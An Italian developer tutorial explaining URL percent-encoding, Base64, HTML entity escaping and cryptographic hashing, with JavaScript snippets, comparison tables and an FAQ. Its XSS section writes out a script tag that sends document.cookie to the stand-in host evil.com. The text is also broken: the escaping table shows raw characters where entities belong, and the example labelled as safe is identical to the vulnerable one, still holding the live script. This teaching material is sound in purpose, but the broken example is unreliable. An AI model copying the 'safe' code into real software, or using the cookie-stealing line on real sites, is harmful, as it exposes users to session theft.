Nello sviluppo software le trasformazioni dei dati sono continue: codificare parametri di query per richieste HTTP, incapsulare immagini binarie in file JSON, sanificare input contro attacchi injection o calcolare impronte di password.
Eppure, persiste una frequente confusione tra codifica (encoding), escaping e hashing. Confondere questi principi è tra le cause più comuni di vulnerabilità gravi come Cross-Site Scripting (XSS), SQL Injection e autenticazioni difettose.
Punti salienti
- Codifica (Reversibile): Modifica la rappresentazione dei dati per una trasmissione affidabile tra protocolli senza perdita informativa (es. Base64, URL encoding).
- Escaping (Contestuale): Istruisce il parser affinché interpreti i caratteri riservati come testo letterale e non come istruzioni di codice (es. entità HTML).
- Hashing (Unidirezionale): Algoritmo matematico che comprime dati arbitrari in un’impronta a lunghezza fissa, impossibile da invertire (es. SHA-256).
- La codifica non offre sicurezza: Base64 non è una cifratura; chiunque può decodificarlo istantaneamente senza chiavi crittografiche.
1. Codifica URL per percentuale (Percent-Encoding)
Gli Uniform Resource Identifier (URI) supportano un sottoinsieme ristretto di caratteri US-ASCII conformi a RFC 3986. I caratteri estranei al gruppo non riservato (A-Z, a-z, 0-9, -, _, ., ~) devono essere trascritti mediante ottetti preceduti dal segno percentuale (%XX), dove XX è il valore esadecimale del byte.
encodeURI a confronto con encodeURIComponent
In JavaScript, l’impiego del metodo errato compromette frequentemente le chiamate di rete:
| Caratteristica | encodeURI |
encodeURIComponent |
|---|---|---|
| Finalità | URL completi provvisti di schema, dominio e percorso | Singole chiavi o singoli valori di una query string |
Effettua l’escape di : / ? # & = + |
No (preserva la struttura sintattica dell’URL) | Sì (sostituisce i separatori con %XX) |
| Esempio tipico | encodeURI('https://site.com/search?q=a+b') |
encodeURIComponent('termini & altro') |
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"
Per testare le stringhe di query durante le integrazioni, puoi adoperare il nostro URL Encoder & Decoder.
2. Codifica Base64: dati binari in flussi ASCII
Lo standard Base64 (definito in RFC 4648) converte dati binari grezzi in una notazione basata su 64 caratteri ASCII stampabili: A–Z, a–z, 0–9, + e / (usando = per il padding finale).
Il funzionamento matematico
I sistemi elaborano byte a blocchi di 8 bit. Base64 raggruppa il flusso in segmenti da 24 bit (3 byte) e li divide in 4 unità da 6 bit ($2^6 = 64$ combinazioni possibili).
$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$
Generando 4 caratteri per ogni 3 byte di input, Base64 comporta un aumento dimensionale strutturale del 33%:
$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$
// Browser-native Base64 conversions for text
function textToBase64(str) {
return btoa(unescape(encodeURIComponent(str)));
}
function base64ToText(b64) {
return decodeURIComponent(escape(atob(b64)));
}
Base64 è ottimale per inserire icone nei CSS o trasportare certificati. Prova il nostro Base64 Encoder / Decoder.
3. Escaping delle entità HTML: contrastare il Cross-Site Scripting (XSS)
L’escaping HTML sostituisce i caratteri aventi significato sintattico con le corrispondenti entità testuali:
| Carattere | Ruolo nel documento HTML | Entità di escaping |
|---|---|---|
< |
Apertura di tag | < |
> |
Chiusura di tag | > |
& |
Riferimento di entità | & |
" |
Delimitatore di attributo | " |
' |
Delimitatore di attributo | ' |
Senza escaping, l’iniezione di testo non controllato consente l’esecuzione di script malevoli (XSS):
<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
<!-- Safe escaped rendering -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
Verifica le tue stringhe mediante l’HTML Entity Encoder / Decoder.
4. Hashing crittografico: l’impronta digitale irreversibile
A differenza della codifica, l’hashing è rigorosamente unidirezionale. Una funzione crittografica sicura assicura quattro proprietà:
- Resistenza alla preimmagine: Noto il digest $h$, è impossibile calcolare il messaggio $m$ originale tale per cui $H(m) = h$.
- Resistenza alla seconda preimmagine: Noto $m_1$, non è possibile reperire un diverso $m_2$ con $H(m_1) = H(m_2)$.
- Resistenza alle collisioni: È computazionalmente impossibile individuare una qualsiasi coppia $x \neq y$ tale che $H(x) = H(y)$.
- Effetto valanga: Una variazione minima di un singolo bit nell’input stravolge completamente l’output risultante.
Algoritmi a confronto
| Algoritmo | Dimensione Digest | Resistenza a collisioni | Utilizzo attuale |
|---|---|---|---|
| MD5 | 128 bit (32 hex) | Compromesso (collisioni in pochi secondi) | Obsoleto; unicamente checksum non critici |
| SHA-1 | 160 bit (40 hex) | Compromesso (attacco SHAttered del 2017) | Deprecato; passaggio a SHA-256 |
| SHA-256 | 256 bit (64 hex) | Crittograficamente sicuro | Standard per certificati TLS, Git e API |
| SHA-512 | 512 bit (128 hex) | Crittograficamente sicuro | Ambienti ad alta sicurezza e protocolli HMAC |
Crea identificatori unici e password complesse con il nostro UUID Generator e con il Password Generator.
Riepilogo operativo
- Invio parametri in query string: URL percent-encoding.
- Inserimento payload binari in JSON o CSS: Base64.
- Visualizzazione di stringhe utente nel DOM: HTML escaping.
- Verifica dell’integrità di file e pacchetti: Hashing crittografico.
Domande frequenti
Il formato Base64 può essere decifrato? Base64 è una codifica, non una cifratura: chiunque può ripristinare il dato di partenza senza alcuna chiave di decifrazione.
SHA-256 è idoneo per proteggere le password? Non se impiegato da solo. I chip GPU moderni eseguono miliardi di hash SHA-256 al secondo; le password richiedono funzioni memory-hard lente come Argon2id o bcrypt.
Perché gli spazi negli URL compaiono sia come %20 che come +?
Nei percorsi RFC 3986 lo spazio è sempre %20. Nel vecchio standard application/x-www-form-urlencoded usato dai form web, gli spazi venivano storicamente tradotti in +.